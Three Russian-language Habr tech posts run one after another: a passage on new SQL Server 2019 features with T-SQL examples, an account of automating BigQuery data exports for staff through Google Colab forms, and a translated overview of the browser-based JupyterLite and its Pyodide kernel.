Короче говоря: нет больше необходимости запоминать флаги трассировки, или задаваться вопросом нужно ли беспокоиться о том, распространяется ли исправление TF 4199 для оптимизатора запросов, или оно было отменено каким-то другим пакетом обновления. Обратите внимание, что эти дополнительные подсказки недавно также были добавлены для SQL Server 2017 в накопительном обновлении №10 (подробности смотрите в [блоге Педро Лопеса](https://blogs.msdn.microsoft.com/sql_server_team/developers-choice-hinting-query-execution-model/)). Вы можете увидеть все доступные подсказки с помощью следующей команды:
```
SELECT name FROM sys.dm_exec_valid_use_hints;
```
Но не забывайте, что подсказки — это исключительная мера, они часто подходит для того, чтобы выйти из затруднительной ситуации, но не должны планироваться для использования в долгосрочной перспективе, так как с последующими обновлениями их поведение может измениться.
Поиск и устранение неполадок в работе
-------------------------------------
#### Упрощенное профилирование по умолчанию
Для понимания этого улучшения требуется вспомнить несколько моментов. В SQL Server 2014 появилось DMV представление sys.dm\_exec\_query\_profiles, позволяющее пользователю, выполняющему запрос, собирать диагностическую информацию обо всех операторах на всех участках запроса. Собранная информация становится доступной после завершения выполнения запроса и позволяет определить, какие операторы на самом деле затратили основные ресурсы и почему. Любой пользователь, невыполнявший конкретный запрос, мог получить эти данные для любого сеанса, в котором была включена инструкция STATISTICS XML или STATISTICS PROFILE, или для всех сеансов, с помощью расширенного события query\_post\_execution\_showplan, хотя это событие, в частности, может повлиять на общую производительность.
В Management Studio 2016 добавлен функционал, позволяющий отображать потоки данных, проходящих через план запроса, в режиме реального времени на основе информации, собранной от DMV, что делает его еще более мощным для поиска и устранения проблем. Plan Explorer также предлагает возможность визуализации данных, проходящих через запрос, как в реальном режиме времени, так и в режиме воспроизведения.
Начиная с SQL Server 2016 с пакетом обновления 1 (SP1), можно также включить облегченную версию сбора этих данных по всем сеансам, с помощью флага трассировки 7412 или расширенного свойства query\_thread\_profile, что позволяет сразу получить актуальную информацию о любом сеансе, без необходимости что-либо в нем включать в явном виде (в частности вещи, которые отрицательно влияют на производительность). Более подробно об этом рассказано [в блоге Педро Лопеса](https://blogs.msdn.microsoft.com/sql_server_team/query-progress-anytime-anywhere/).
В SQL Server 2019 эта функция включена по умолчанию, поэтому не нужно запускать никаких сеансов с расширенными событиями или использовать какие-то флаги трассировки и инструкций STATISTICS ни в каком запросе. Достаточно просто посмотреть на данные от DMV в любое время для всех параллельных сеансов. Но есть возможность и отключить данный режим, с помощью LIGHTWEIGHT\_QUERY\_PROFILING, однако данный синтаксис не работает в CTP 2.0 и будет исправлен в последующих редакциях.
#### Статистика кластеризованного колоночного индекса теперь доступна в клонированных БД
В текущих версиях SQL Server, при клонировании базы данных, используется только оригинальная статистика объекта из кластеризованных колоночных индексов, без учета обновлений, произведенных в таблице после ее создания. Если Вы используете клон для настройки запросов и прочего тестирования производительности, которое строятся на оценках мощности, то эти примеры могут не подойти. Парикшит Савьяни описал ограничения [в этой публикации](https://blogs.msdn.microsoft.com/sql_server_team/considerations-when-tuning-your-queries-with-columnstore-indexes-on-clone-databases/) и предоставил временное решение – перед созданием клона нужно сделать скрипт, который выполняет DBCC SHOW\_STATISTICS … WITH STATS\_STREAM для каждого объекта. Это затратно и, безусловно, об этом легко забыть.
В SQL Server 2019 эта обновленная статистика будет доступна в клоне автоматически, так что можно тестировать различные сценарии запросов и получать объективные планы, основанные на реальной статистике, без ручного запуска STATS\_STREAM для всех таблиц.
#### Прогноз сжатия для колоночного хранения
В текущих версиях у процедуры sys.sp\_estimate\_data\_compression\_savings есть следующая проверка:
```
if (@data_compression not in ('NONE', 'ROW', 'PAGE'))
```
Это означает, что она позволяет проверять сжатие строки или страницы (или видеть результат удаления текущего сжатия). В SQL Server 2019 такая проверка теперь выглядит так:
```
if (@data_compression not in ('NONE', 'ROW', 'PAGE', 'COLUMNSTORE', 'COLUMNSTORE_ARCHIVE'))
```
Это отличная новость, потому что позволяет примерно предсказывать влияние добавления колоночного индекса в таблицу, в которой его нет, или преобразовывать таблицы или разделы в еще более сжатый формат колоночного хранения, без необходимости восстанавливать эту таблицу в другой системе. У меня была талица с 10 млн строк, для которой я выполнил хранимую процедуру с каждым из пяти параметров:
```
EXEC sys.sp_estimate_data_compression_savings
@schema_name = N'dbo',
@object_name = N'FactTable',
@index_id = NULL,
@partition_number = NULL,
@data_compression = N'NONE';
-- repeat for ROW, PAGE, COLUMNSTORE, COLUMNSTORE_ARCHIVE
```
Результаты:
Как и в случае с другими типами сжатия, точность полностью зависит от имеющихся строк и репрезентативности остальных данных. Тем не менее, это довольно мощный способ получить предположительные результаты без особого труда.
#### Новая функция для получения информации о странице
Долгое время для сбора информации о страницах, содержащих секцию, индекс или таблицу, использовались команды DBCC PAGE и DBCC IND. Но они недокументированные и неподдерживаемые, и бывает достаточно утомительно автоматизировать решение задач, связанных с несколькими индексами или страницами.
Позже появилась динамическая административная функция (DMF) sys.dm\_db\_database\_page\_allocations, которая возвращает набор, представляющий все страницы в указанном объекте. Все еще недокументированная и имеющая недочеты, которые могут стать реальной проблемой на больших таблицах: даже для получения информации об одной странице, он должен прочесть всю структуру, что может быть довольно затратно.
В SQL Server 2019 появилась еще одна DMF — sys.dm\_db\_page\_info. В основном она возвращает всю информацию о странице, без накладных расходов на DMF распределения. Однако чтобы использовать функцию в текущих сборках, нужно заранее знать номер искомой сраницы. Возможно, такой шаг был сделан намеренно, т.к. это единственный способ, позволяющий обеспечить производительность. Так что если Вы пытаетесь определить все страницы в индексе или таблице, то по-прежнему необходимо использовать DMF распределения. В следующей статья я опишу этот вопрос более подробно.
Безопасность
------------
#### Постоянное шифрование с использованием безопасной среды (анклава)
На данный момент, постоянное шифрование защищает конфиденциальные данные при передаче и в памяти путем шифрования/расшифровки на каждом конце процесса. К сожалению, это часто приводит к серьезным ограничениям при работе с данными, таким, как невозможность выполнения вычислений и фильтрации, поэтому приходится передавать весь набор данных на сторону клиента, чтобы выполнить, скажем, поиск по диапазону.
Безопасная среда (анклав) — это защищенная область памяти, где такие вычисления и фильтрация могут быть делегированы (в Windows используется [безопасность на основе виртуализации](https://cloudblogs.microsoft.com/microsoftsecure/2018/06/05/virtualization-based-security-vbs-memory-enclaves-data-protection-through-isolation/)) – данные остаются зашифрованными в ядре, но могут быть безопасно расшифрованы или зашифрованы в безопасной среде. Нужно просто добавить параметр ENCLAVE\_COMPUTATIONS в первичный ключ, с помощью SSMS, например, установив флажок «Разрешить вычисления в защищенной среде»:
Теперь можно шифровать данные почти мгновенно, по сравнению со старыми способом (в котором мастеру, командлету Set-SqlColumnEncyption или Вашему приложению, пришлось бы полностью получить весь набор из базы данных, зашифровать его, и отправить обратно):
```
ALTER TABLE dbo.Patients
ALTER COLUMN SSN char(9) -- currently not encrypted!
ENCRYPTED WITH
(
COLUMN_ENCRYPTION_KEY = ColumnEncryptionKeyName,
ENCRYPTION_TYPE = Randomized,
ALGORITHM = 'AEAD_AES_256_CBC_HMAC_SHA_256'
) NOT NULL;
```
Думаю, что для многих организаций данное улучшение будет главной новостью, однако в текущем CTP некоторые из этих подсистем все еще совершенствуются, поэтому по умолчанию они выключены, но [здесь](https://docs.microsoft.com/en-us/sql/relational-databases/security/encryption/configure-always-encrypted-enclaves?view=sql-server-ver15#configure-a-secure-enclave) можно посмотреть, как их включить.
#### Управление сертификатами в диспетчере конфигурации
Управление сертификатами SSL и TLS всегда было болью, и многие люди были вынуждены выполнять утомительную работу, создавать собственные скрипты для развертывания и обслуживания сертификатов своего предприятия. Обновленный диспетчер конфигурации для SQL Server 2019 поможет быстро просмотреть и проверить сертификаты любого экземпляра, найти сертификаты, срок действия которых истекает в ближайшее время, и синхронизировать развертывания сертификатов во всех репликациях в группе доступности или всех узлах в экземпляре отказоустойчивого кластера.
Я не пробовал все эти операции, но они должны работать и для предыдущих версий SQL Server, если управление происходит из диспетчера конфигураций SQL Server 2019.
#### Встроенная классификация данных и аудит
Команда разработчиков SQL Server добавила в SSMS 17.5 возможность классифицировать данные, позволяющую определить любые столбцы, которые могут содержать конфиденциальную информацию или же противоречить различным стандартам (HIPAA, SOX, PCI, и GDPR, разумеется). Мастер задействует алгоритм, предлагающий столбцы, которые, предположительно, вызовут проблемы, но можно как скорректировать его предложение, удалив эти столбцы из списка, так и добавить свои собственные. Для хранения классификации используются расширенные свойства; Встроенный в SSMS отчет использует ту же информацию для отображения своих данных. Вне отчета эти свойства не столь очевидны.
В SQL Server 2019 появилась новая инструкция для этих метаданных, уже доступная в базе данных SQL Azure, и называющаяся как ADD SENSITIVITY CLASSIFICATION. Она позволяет выполнять то же самое, что и мастер в SSMS, но информация больше не сохраняется в расширенном свойстве, и любое обращение к этим данным автоматически отображается в аудите как новый XML-столбец data\_sensitivity\_information. Он содержит все типы информации, которые были затронуты во время аудита.
В качестве быстрого примера предположим, что у меня есть таблица для внешних подрядчиков:
```
CREATE TABLE dbo.Contractors
(
FirstName sysname,
LastName sysname,
SSN char(9),
HourlyRate decimal(6,2)
);
```
Взглянув на такую структуру становится ясно, что все четыре столбца либо потенциально уязвимы для утечки, либо должны быть доступны только ограниченyому кругу лиц. Тут можно обойтись разрешениями, но как минимум необходимо заострить на них внимание. Таким образом, мы можем классифицировать эти столбцы по-разному:
```
ADD SENSITIVITY CLASSIFICATION TO dbo.Contractors.FirstName, dbo.Contractors.LastName
WITH (LABEL = 'Confidential – GDPR', INFORMATION_TYPE = 'Personal Info');
ADD SENSITIVITY CLASSIFICATION TO dbo.Contractors.SSN
WITH (LABEL = 'Highly Confidential', INFORMATION_TYPE = 'National ID');
ADD SENSITIVITY CLASSIFICATION TO dbo.Contractors.HourlyRate
WITH (LABEL = 'Highly Confidential', INFORMATION_TYPE = 'Financial');
```
Теперь, вместо того, чтобы смотреть в sys.extended\_properties, можно увидеть их в sys.sensitivity\_classifications:
И если мы проводим аудитную выборку (или DML) для этой таблицы, нам не нужно ничего специально менять; после создания классификации, `SELECT *` занесет в журнал аудита запись об этом типе информации в новый столбец data\_sensitivity\_information:
```
```
Разумеется, это не решает все вопросы соблюдения стандартов, но это может дать реальное преимущество. Использование мастера для автоматического определения столбцов и перевода вызовов sp\_addextendedproperty в команды ADD SENSITIVITY CLASSIFICATION может существенно упростить задачу соблюдения стандартов. Позже, я напишу об этом отдельную статью.
Можно также автоматизировать создание (или обновление) разрешений на основе метки в метаданных – создание динамического SQL скрипта, который запрещает доступ ко всем конфиденциальным (GDPR) колонкам, что позволит управлять пользователями, группам или ролямb. Проработаю этот вопрос в будущем.
Доступность
-----------
#### Возобновляемое создание индекса в режиме реального времени
В SQL Server 2017 появилась возможность приостановить и возобновить перестроение индекса в реальном времени, что может быть очень полезно, если вам нужно изменить количество используемых процессоров, продолжить с момента приостановки после произошедшего отказа или просто ликвидировать пробел между сервисными окнами. Я рассказывал об этой функции в [предыдущей статье](https://www.mssqltips.com/sqlservertip/5094/more-on-resumable-online-index-rebuilds-in-sql-server-2017/).
В SQL Server 2019 можно использовать тот же синтаксис для создания индексов в реальном времени, приостановки и продолжения, а также для ограничения времени выполнения (задание времени приостановки):
```
CREATE INDEX foo ON dbo.bar(blat)
WITH (ONLINE = ON, RESUMABLE = ON, MAX_DURATION = 10 MINUTES);
```
Если этот запрос работает слишком долго, то для приостановки можно выполнить ALTER INDEX в другом сеансе (даже если индекс еще физически не существует):
```
ALTER INDEX foo ON dbo.bar PAUSE;
```
В текущих сборках нельзя уменьшить степень параллелизма при возобновлении, как в случае с перестроением. При попытке уменьшить DOP:
```
ALTER INDEX foo ON dbo.bar RESUME WITH (MAXDOP = 2);
```
Получим следующее:
```
Msg 10666, Level 16, State 1, Line 3
Cannot resume index build as required DOP 4 (DOP operation was started with) is not available. Please ensure sufficient DOP is available or abort existing index operation and try again.
The statement has been terminated.
```
На самом деле, если попробовать это сделать, а затем выполнить команду без дополнительных параметров, то получим ту же ошибку, по крайней мере на текущих сборках. Думаю, что попытка возобновления была где-то зарегистрирована и система хотела ее использовать вновь. Для продолжения необходимо указать корректное (или более высокое) значение DOP:
```
ALTER INDEX foo ON dbo.bar RESUME WITH (MAXDOP = 4);
```
Чтобы было понятно: можно увеличить DOP, при возобновлении приостановленного создания индекса, но никак не понижать.
Дополнительная выгода от всего этого в том, что можно настроить операции создания и/или возобновления индексов в реальном времени в качестве режима по умолчанию, используя для новой базы данных предложения ELEVATE\_ONLINE и ELEVATE\_RESUMABLE.
#### Создание/перестроение кластеризованных колоночных индексов в реальном времени
В дополнение к возобновляемому созданию индекса мы также получаем возможность создавать или перестраивать кластеризованные колоночные индексы в режиме реального времени. Это существенное изменение, позволяющее больше не тратить время сервисных окон на техническое обслуживание таких индексов или (для большей убедительности) для преобразования индексов из построчных в колоночные:
```
CREATE TABLE dbo.splunge
(
id int NOT NULL
);
GO
CREATE UNIQUE CLUSTERED INDEX PK_Splunge ON dbo.splunge(id);
GO
CREATE CLUSTERED COLUMNSTORE INDEX PK_Splunge ON dbo.splunge
WITH (DROP_EXISTING = ON, ONLINE = ON);
```
Одно предупреждение: если существующий традиционный кластеризованный индекс был создан в режиме реального времени, то его преобразование в кластеризованный колоночный индекс тоже возможно только в таком режиме. Если он является частью первичного ключа, встроенного или нет…
```
CREATE TABLE dbo.splunge
(
id int NOT NULL CONSTRAINT PK_Splunge PRIMARY KEY CLUSTERED (id)
);
GO
-- or after the fact
-- ALTER TABLE dbo.splunge ADD CONSTRAINT PK_Splunge PRIMARY KEY CLUSTERED(id);
```
Получим такую ошибку:
```
Msg 1907, Level 16
Cannot recreate index 'PK_Splunge'. The new index definition does not match the constraint being enforced by the existing index.
```
Сначала необходимо удалить ограничение, чтобы преобразовать его в кластеризованный колоночный индекс, но обе эти операции можно выполнить в реальном времени:
```
ALTER TABLE dbo.splunge DROP CONSTRAINT PK_Splunge
WITH (ONLINE = ON);
GO
CREATE CLUSTERED COLUMNSTORE INDEX PK_Splunge
ON dbo.splunge
WITH (ONLINE = ON);
```
Это работает, но на крупных таблицах, вероятно, займет больше времени, чем если бы первичный ключ был реализован в виде уникального кластеризованного индекса. Не могу точно сказать, является ли это намеренным ограничением или просто ограничением текущих CTP.
#### Перенаправление подключения репликации от вторичного сервера к первичному
Эта функция позволяет настроить перенаправление без прослушивания, так что можно переключить соединение на первичный сервер, даже если в строке соединения напрямую указан вторичный. Данную функцию можно использовать когда технология кластеризации не поддерживает прослушивание, при использовании AGs без кластера, или когда имеет место сложная схема перенаправления в сценарии с несколькими подсетями. Это предотвратит подключение от, например, попыток операций записи для репликации, находящейся в режиме только для чтения (и отказов, соответственно).
Разработка
----------
#### Дополнительные возможности графа
Отношения графа теперь поддерживают оператор MERGE для узла или граничных таблиц, используя предикаты MERGE; теперь один оператор может обновить существующее ребро или вставить новое. Новое ограничение ребер позволит определить какие узлы может соединять ребро.
#### UTF-8
В SQL Server 2012 была добавлена поддержка UTF-16 и дополнительных символов путем установки сортировки за счет задания имени с суффиксом \_SC, типа Latin1\_General\_100\_CI\_AI\_SC, для использования столбцов в формате Unicode (nchar/nvarchar). В SQL Server 2017 можно импортировать и экспортировать данные в формате UTF-8 из и в эти колонки, с помощью средств типа [BCP](https://docs.microsoft.com/en-us/sql/tools/bcp-utility?view=sql-server-2017) и [BULK INSERT](https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql?view=sql-server-2017).
В SQL Server 2019 существуют новые параметры сортировки для поддержки принудительного хранения в исходном виде данных UTF-8. Так что можно без проблем создавать колонки типа char или varchar и корректного храненить данные UTF-8, используя новые параметры сортировки с суффиксом \_SC\_UTF8, как Latin1\_General\_100\_CI\_AI\_SC\_UTF8. Это может помочь улучшить совместимость с внешними приложениями и СУБД, без затрат на обработку и хранение nvarchar.
#### Пасхалка, которую я нашел
Насколько я помню, пользователи SQL Server жалуются на это смутное сообщение об ошибке:
```
Msg 8152
String or binary data would be truncated.
```
В сборках CTP, с которыми я экспериментировал, было замечено интересное сообщение об ошибке, которого не было раньше:
```
Msg 2628
String or binary data would be truncated in table '%.*ls', column '%.*ls'. Truncated value: '%.*ls'
```
Я не думаю, что здесь нужно что-то еще; это отличное (хотя и весьма запоздалое) улучшение, и обещает многих сделать счастливыми. Однако эта функциональность не будет доступна в CTP 2.0; я просто даю возможность заглянуть немного вперед. Брент Озар перечислил все новые сообщения, найденные им в текущем CTP, и приправил их несколькими полезными комментариями в своей статье [sys.messages: обнаружение дополнительных функций](https://www.brentozar.com/archive/2018/09/sql-server-2019s-new-sys-messages-reveal-more-features/).
Заключение
----------
SQL Server 2019 предлагает хорошие дополнительные возможности, которые помогут улучшить работу с любимой платформой реляционных баз данных, и есть ряд изменений, о которых я не говорил. Энергостойкая память, кластеризация для служб машинного обучения, репликация и распределенные транзакции в Linux, Kubernetes, коннекторы для Oracle / Teradata / MongoDB, синхронные репликации AG поднялись до поддержки Java (реализация аналогична Python/R) и, что не менее важно, новый рывок, под названием «Кластер больших данных». Для использования некоторых из этих функций необходимо зарегистрироваться с помощью [этой EAP формы](https://sqlservervnexteap.azurewebsites.net/).
Предстоящая книга Боба Уорда, [Pro SQL Server on Linux — Including Container-Based Deployment with Docker and Kubernetes](https://www.apress.com/us/book/9781484241271#aboutBook), может дать некоторые подсказки о ряде других вещей, которые вскоре появятся. И [эта публикация](https://www.brentozar.com/archive/2018/01/froid-sql-server-vnext-might-fix-scalar-functions-problem/) Брента Озара говорит о возможном грядущем исправлении скалярной определяемой пользователем функции.
Но даже в этом первом публичном CTP есть что-то существенное почти для всех, и я призываю испытать его самостоятельно! | https://habr.com/ru/post/424441/ | null | ru | null |
# Как мы автоматизировали для пользователей работу с данными через Google Colab
Привет! Я Павел, тимлид группы DWH, отвечающей за сбор, хранение и выдачу потребителям аналитических данных. Эту статью мы написали вместе с руководителем Data Office Олегом Сахно.
Сегодня многие говорят об управлении на основе данных, когда решения принимаются только после подкрепления цифрами. Идея заманчивая. Надо всего лишь:
1. Хранить все данные в понятном и структурированном виде.
2. Обеспечить пользователям оперативный доступ к данным.
3. …
4. Profit!
Хранение данных — тема отдельного разговора, и сейчас мы её поднимать не будем. Поговорим о том, как сделать эти данные доступными и легко применимыми для пользователей.
Немного о контексте. eLama — это платформа по управлению интернет-рекламой. У нас большая команда, ведь нужно не только обеспечивать работоспособность сервиса, но и осуществлять поддержку текущих клиентов (служба Заботы), привлекать новых клиентов (маркетинг и отдел продаж), всё это делится на несколько бизнес-юнитов с различной иерархией и правами доступа к данным и т.д.
А еще есть операционный отдел, финансовые службы и так далее. Всего в команде более 300 человек. И многим из них нужна информация, извлекаемая из данных! Все хотят принимать решения обоснованно, не просто «по велению сердца».
Иными словами, нам нужен инструментарий, который позволяет пользователю любой роли получить из хранилища витрину данных, отвечающую нужным ему условиям.
История вопроса в eLama
-----------------------
Немного о том, как мы пришли в точку «Сейчас».
### Redash
После организации единого хранилища данных на базе Google BigQuery для визуализации мы прикрутили к нему сервис Redash. Для каждого юнита родились десятки дашбордов, каждый из которых насчитывал десятки виджетов-графиков .
Эти инструменты почти не давали пользователю возможности настраивать выборку под себя. Стоило, например, маркетологу захотеть выбрать юзеров, пришедших с его источников (при том, что визуализации в разрезе по источникам не было), Redash становился для него бесполезен.
### Microsoft Power BI
На смену простенькому Redash (от которого в итоге полностью отказались) пришел Power BI со своим богатым арсеналом фильтров. Вдохновившись его возможностями, мы разработали пару, вроде как, универсальных отчетов, которые помогали настроить пользователю выгрузку под свои нужды.
Эти отчеты некоторые потребности закрыли, но далеко не все. Power BI все-таки предназначен не для такого. Из-за своей громоздкости он плохо уживается со сложными данными и алгоритмами расчета. Также у него есть существенные ограничения по объему данных — как на входе, так и на выходе. Действительно универсальным этот инструмент так и не стал.
### Типовые запросы
Гибкости мы добавляли «вручную»: организовали институт дежурства, когда выделенный еженедельно сменяемый аналитик готовил SQL-запрос для выгрузки под каждое обращение внутренних заказчиков. Времени на это уходила масса, дежурный фактически выпадал из остальных процессов, часто ему еще и требовалась помощь.
Стремясь разгрузиться, аналитики стали создавать репозиторий… хотя какой там репозиторий... склад SQL-запросов под часто возникающие потребности сотрудников. Пользователь, не желающий ждать в очереди, теперь мог зайти на страницу с перечнем таких типовых запросов, подобрать себе нужный и выгрузить витрину самостоятельно. Конечно, мы снабдили код комментариями, где менять условия выборки, что по идее должно было еще более облегчить нам жизнь.
Подход «Типовые запросы» одарил нас целым букетом недостатков:
* конечные пользователи не владели SQL (и не обязаны владеть!), а значит в их запросы могли закрасться ошибки;
* с ростом количества узких запросов стало всё больше времени уходить на поиск нужного;
* часто пользователи сохраняли запрос из репозитория куда-то к себе, то есть фактически «отключали» его от обновлений. А если поменяется логика? Запрос станет неактуален, но будет по-прежнему в чьем-то использовании!
* по сути, весьма редко запросы являлись «типовыми», ведь данные для того и нужны, чтобы в поисках инсайтов вертеть и крутить их без ограничения свободы.
Короче, наш склад типовых выгрузок использовался редко и неохотно.
### Формулировка задачи
Все указанные выше инструменты не позволяли реализовать полный спектр задач автоматической выдачи данных:
1. Пользователи самостоятельно могут получить выгрузку из аналитического хранилища в соответствии с уровнем доступа к данным. Имеется учет доступа к данным.
2. Пользователи могут обогатить список user\_id необходимыми данными. То есть, к имеющийся таблице добавить несколько полей.
3. Пользователи не должны самостоятельно писать или редактировать SQL-код. Необходим интерфейс в котором пользователь «натыкает» нужные галочки.
4. Инструмент постоянно развивается. Необходимо удобство развития инструмента, логика релизов и т.д.
5. Мы используем Google Cloud Platform, и решение должно гармонично вписываться в эту экосистему.
Решение на основе Colab
-----------------------
Оказалось, что решить поставленные перед нами задачи позволяет Google Colab — бесплатный облачный сервис на основе Jupyter Notebook. Сервис позволяет работать с Python-ноутбуками как с обычными документами Google. С той же логикой по правам на редактирование и на доступ и удобным доступом по ссылке в браузере. Таким образом, код на Python можно дистрибутировать без необходимости устанавливать программное обеспечение на клиентской стороне, при этом сам код можно скрыть, оставив только интерфейс ввода данных.
И итоге мы построили следующее решение.
Разработаны несколько «колабов» (так мы называем этот инструмент), из которых чаще всего используются 3-4 (вместо десятков «типовых запросов»).
При необходимости получить выгрузку с определенными условиями сотрудники компании открывают браузер, запускают скрипт, авторизуются и видят форму, в которой могут задать настройки для своей выгрузки.
По условиям пользователя формируется SQL-запрос, который с помощью соответствующей библиотеки исполняется в BigQuery. Полученная от BigQuery таблица выгружается либо в Google Sheet, либо в xlsx-файл в зависимости от количества строк.
Вот и всё, сотрудник радуется быстро полученной таблице. Не надо ждать, не надо звать, а можно взять и выгрузить всё что тебе надо!
Со стороны дата-аналитиков это большая разгрузка, поток обращений за выгрузками превратился в тонкий ручеек. Да и то теперь каждое обращение мы складываем в бэклог, откуда оно попадает в разработку новых возможностей для колабов.
### Техническая реализация колаба
В общих чертах скрипт колаба состоит из 4 частей:
1. Авторизация в Google и подключение библиотек.
2. Построение и вывод формы для настройки условий выборки.
3. Формирование SQL-запроса.
4. Исполнение запроса и вывод результатов.
#### Авторизация и библиотеки
Для авторизации используем всего две строки кода:
```
from google.colab import auth # Авторизуемся в Google
auth.authenticate_user() # Получаем заветный токен
```
При его исполнении пользователю будет предложено пройти по ссылке, совершить вход через свой аккаунт в Гугле, получить строку-ключ и вставить ее в поле-замок.
Из библиотек мы используем:
**pandas** для работы с датафреймами, **google.cloud.bigquery** для обращения к BigQuery, **gspread** для работы с Google Sheet, **ipywidgets** для построения формы, а также **pydrive** при необходимости обращаться к Google Drive.
#### Форма пользователя
Форму строим на виджетах из библиотеки [ipywidgets](https://ipywidgets.readthedocs.io/en/latest/examples/Widget%20List.html), которая дает всё необходимое — и основные контролы, и их форматирование, и расположение.
Выбранные через форму параметры передаются в функцию построения SQL-запроса.
#### Формирование SQL-запроса
Запрос формируется в виде текстовой строки, в которой условия и выводимые поля добавляются исходя из переданных в функцию параметров, набранных юзером в форме. Идея в том, чтобы не выводить пользователю поля, которые он не просил, иначе итоговая таблица будет настолько широкой, что в ней легко потонуть.
Здесь обычно всё сводится к проверке условий и добавлении нужного кусочка SQL, если они принимают соответствующее значение.
#### Получение результатов
Когда SQL-запрос готов, запускаем его, а результат выводим в Google.Sheet, если строк менее 50 000, и в Excel-файл, если больше.
```
print("Running the query. Please wait...")
# запуск запроса в BQ, запись результата в датафрейм
result=bigquery.Client(project='BQ_PROJECT_ID').query(sql).to_dataframe()
if len(result)==0: print('Result is empty (0 rows)')
if len(result)<=50000 and len(result)>0:
source_google_sheet_file='query_'+str(datetime.now())
result_sheet='Лист1'
print("Saving result...")
# Запись результата в Google Sheet
id=save_to_sheets(result, source_google_sheet_file, result_sheet)
print('The result is written to Google SpreadSheet:')
print("https://docs.google.com/spreadsheets/d/%s" % id)
elif len(result)>50000:
display(widgets.HTML("
---
"))
print('The result has more than 50 000 rows. Writing to Excel file...')
# Запись результата в файл xlsx
result.to_excel('query_result.xlsx')
display(widgets.HTML("
---
"))
print('Please download the result file.')
from google.colab import files
files.download('query_result.xlsx')
```
### Сопровождение колаба
Так как количество видов данных, а также число идей по их использованию постоянно растет, мы непрерывно наращиваем функциональность наших колабов. Для этого мы внедрили ритмичный процесс, состоящий из 4-х этапов:
1. Сбор пожеланий. Здесь мы собираем в бэклог пожелания из обращений. Пожелание заносится сразу по мере поступления.
2. Планирование релиза. Изучаем пожелания, превращаем их в технические задачи и формируем план на ближайший спринт.
3. Разработка. Реализуем план, документируем нововведения.
4. Выкатывание релиза. Деплой и — важный шаг, о котором часто забывают — публикация перечня нововведений. В наших интересах — чтобы пользователи переходили от обращений к дежурным к самостоятельному использованию колаба, поэтому крайне важно раструбить о новшествах где только возможно.
Конечно, сейчас еще не всё идеально, но основные свои задачи инструмент выполняет: разгружает дата-аналитиков, ускоряет получение данных пользователями и при этом достаточно прост в сопровождении. | https://habr.com/ru/post/567752/ | null | ru | null |
# Как запустить Jupyter Notebook в браузере без бэкенда
К старту нашего флагманского [курса по Data Science](https://skillfactory.ru/dstpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_190821&utm_term=lead) представляем перевод обзора JupyterLite прямо из блога его разработчиков. JupyterLite — это перезагрузка множества попыток создать полный статический выполняемый в браузере дистрибутив Jupyter, чтобы не было необходимости запускать сервер Jupyter.
Цель проекта — дать лёгкую вычислительную среду в браузере, доступную по одному клику спустя несколько секунд, без установки чего-либо на устройство конечного пользователя. При работе с дистрибутивами в браузере не нужно предоставлять среду выполнения на бэкенде. Приложение в основном представляет собой набор статических файлов, поэтому проще масштабируется и его легче развёртывать.
---
JupyterLite работает в браузере на статическом веб-сайте ReadTheDocsПолноценный дистрибутив JupyterLab в браузере
---------------------------------------------
JupyterLite разработан с нуля, он повторно использует множество плагинов и компонентов JupyterLab как есть. В дополнение к JupyterLab JupyterLite по умолчанию работает с интерфейсом [RetroLab](https://github.com/jupyterlab/retrolab):
JupyterLite с интерфейсом RetroLabБлагодаря повторному использованию компонентов JupyterLab JupyterLite получает преимущества многих улучшений: новых функций, исправлений специальных возможностей и улучшений обслуживания. В JupyterLite также можно включить [совместную работу](https://blog.jupyter.org/how-we-made-jupyter-notebooks-collaborative-with-yjs-b8dff6a9d8af?source=collection_home---6------0-----------------------) в реальном времени из JupyterLab 3.1.
Совместная работа в режиме реального времени, JupyterLite в ReadTheDocsPyolite — поддерживаемое Pyodide ядро Python
--------------------------------------------
[Pyodide](https://pyodide.org/) — это скомпилированный в WebAssembly интерпретатор CPython 3.8, позволяющий запускать Python в браузере, а также скомпилированных научных пакетов Python.
Из индекса пакетов PyPI Pyodide может установить любой пакет wheel, он содержит комплексный интерфейс внешних функций, предоставляющий экосистему пакетов Python для JavaScript и пользовательский интерфейс браузера для Python, в том числе DOM.
Pyodide: Python и его скомпилированный в WebAssembly научный стекС версии [0.17](https://hacks.mozilla.org/2021/04/pyodide-spin-out-and-0-17-release/) за последние несколько лет Pyodide получил множество улучшений: меньший размер двоичных файлов, поддержку asyncio и улучшение трансляции типов между Python и JavaScript.
JupyterLite по умолчанию поставляется с Pyolite — ядром Python, которое поддерживается Pyodide. Это ядро работает в [веб-воркере](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API), а значит при выполнении интенсивных вычислений не блокирует основной поток пользовательского интерфейса.
IPython в браузере
------------------
Pyolite теперь [работает](https://github.com/jupyterlite/jupyterlite/pull/171) на IPython, что открывает доступ к его магическим командам, завершению кода, расширенному отображению, интерактивным виджетам и многим другим функциям.
IPython в JupyterLiteИнтерактивная визуализация
--------------------------
В JupyterLite также поддерживаются многие библиотеки визуализации, такие как [Altair](https://altair-viz.github.io/) и [Plotly](https://plotly.com/), что позволяет быстро и удобно создавать рисунки и графики:
Altair в JupyterLiteПоддержка виджетов Jupyter
--------------------------
В основе виджетов Jupyter лежит спецификация кастомных сообщений [протокола](https://jupyter-client.readthedocs.io/en/latest/messaging.html#custom-messages) Jupyter между ядром и интерфейсом. Мартин Рену [добавил](https://github.com/jupyterlite/jupyterlite/pull/145) поддержку Comms в ядре Pyolite, что позволило многим существующим основным и сторонним виджетам, например [bqplot](https://github.com/bqplot/bqplot), [ipyleaflet](https://github.com/jupyter-widgets/ipyleaflet) и [ipycanvas](https://github.com/martinRenou/ipycanvas), работать из коробки.
JupyterLite по умолчанию поддерживает виджеты JupyterБольше, чем просто Python
-------------------------
JupyterLite работает со множеством ядер. Дистрибутив по умолчанию содержит ядра JavaScript и [p5](https://p5js.org/):
В JupyterLite доступно несколько ядер.Эти ядра выполняются в IFrame как изолированные окружения. С помощью протокола отображения Jupyter можно легко отображать кастомные анимации:
Ядро p5.js в JupyterLiteJupyterLite гибко настраивается
-------------------------------
Как и многие инструменты Jupyter, JupyterLite легко настраивается. С версии 3.0 поддерживается новая [встроенная](https://jupyterlab.readthedocs.io/en/stable/extension/extension_dev.html#prebuilt-extensions) система расширения JupyterLab, а существующие расширения JupyterLab легко повторно использовать в JupyterLab.
